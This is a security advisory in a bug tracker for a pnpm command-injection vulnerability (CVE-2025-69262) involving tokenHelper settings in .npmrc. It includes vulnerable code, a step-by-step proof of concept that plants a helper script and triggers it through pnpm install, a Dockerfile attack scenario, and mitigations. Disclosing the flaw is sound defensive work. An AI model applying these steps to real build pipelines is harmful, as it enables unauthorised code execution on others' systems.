Bug 2427662 (CVE-2025-69262, GHSA-2phv-j68v-wwqx) - CVE-2025-69262 pnpm: pnpm: Remote code execution via command injection in tokenHelper environment variable substitution
Summary: CVE-2025-69262 pnpm: pnpm: Remote code execution via command injection in tok...
Keywords:
Status: NEW
Alias: CVE-2025-69262, GHSA-2phv-j68v-wwqx
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
medium
medium
Target Milestone: ---
Assignee: Product Security DevOps Team
QA Contact:
URL:
Whiteboard:
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2026-01-07 20:08 UTC by OSIDB Bzimport
Modified: 2026-01-15 23:17 UTC (History)
20 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:


Attachments (Terms of Use)

Description OSIDB Bzimport 2026-01-07 20:08:21 UTC
## Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in `.npmrc` configuration files with `tokenHelper` settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

## Affected Components

- **Package**: pnpm
- **Versions**: All versions using `@pnpm/config.env-replace` and `loadToken` functionality
- **File**: `pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts` - `loadToken()` function
- **File**: `pnpm/config/config/src/readLocalConfig.ts` - `.npmrc` environment variable substitution

## Technical Details

### Vulnerability Chain

1. **Environment Variable Substitution**
   - `.npmrc` supports `${VAR}` syntax
   - Substitution occurs in `readLocalConfig()`

2. **loadToken Execution**
   - Uses `spawnSync(helperPath, { shell: true })`
   - Only validates absolute path existence

3. **Attack Flow**
```
.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
   ↓
envReplace() → /tmp/evil-helper.sh
   ↓
loadToken() → spawnSync(..., { shell: true })
   ↓
RCE achieved
```

### Code Evidence

**`pnpm/config/config/src/readLocalConfig.ts:17-18`**
```typescript
key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)
```

**`pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71`**
```typescript
export function loadToken(helperPath: string, settingName: string): string {
  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
  }
  const spawnResult = spawnSync(helperPath, { shell: true })
  // ...
}
```

## Proof of Concept

### Prerequisites
- Private npm registry access
- Control over environment variables
- Ability to place scripts in filesystem

### PoC Steps

```bash
# 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'
#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh

# 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF

# 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh

# 4. Trigger pnpm install
pnpm install  # RCE occurs during auth

# 5. Verify attack
cat /tmp/rce-log.txt
```

### PoC Results
```
==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed
```

## Impact

### Severity
- **CVSS Score**: 9.1 (Critical)
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

### Affected Environments

**High Risk:**
- CI/CD pipelines (GitHub Actions, GitLab CI)
- Docker build environments
- Kubernetes deployments
- Private registry users

**Low Risk:**
- Public registry only
- Production runtime (no pnpm execution)
- Static sites

### Attack Scenarios

**Scenario 1: CI/CD Supply Chain**
```
Repository → Build Trigger → pnpm install → RCE → Production Deploy
```

**Scenario 2: Docker Build**
```dockerfile
FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install  # RCE
```

**Scenario 3: Kubernetes**
```
Secret Control → Env Variable → .npmrc Substitution → RCE
```

## Mitigation

### Temporary Workarounds

**Disable tokenHelper:**
```ini
# .npmrc
# registry.npmjs.org/:tokenHelper=${HELPER_PATH}
```

**Use direct tokens:**
```ini
//registry.npmjs.org/:_authToken=YOUR_TOKEN
```

**Audit environment variables:**
- Review CI/CD env vars
- Restrict .npmrc changes
- Monitor build logs

### Recommended Fixes

1. Remove `shell: true` from loadToken
2. Implement helper path allowlist
3. Validate substituted paths
4. Consider sandboxing

## Disclosure

- **Discovery**: 2025-11-02
- **PoC**: 2025-11-02
- **Report**: [Pending disclosure decision]

## References

- Repository: https://github.com/pnpm/pnpm
- Affected: `@pnpm/config.env-replace@^3.0.2`
- Similar: CVE-2024-53866, CVE-2023-37478

## Credit

Reported by: Jiyong Yang
Contact: sy2n0


Note You need to log in before you can comment on or make changes to this bug.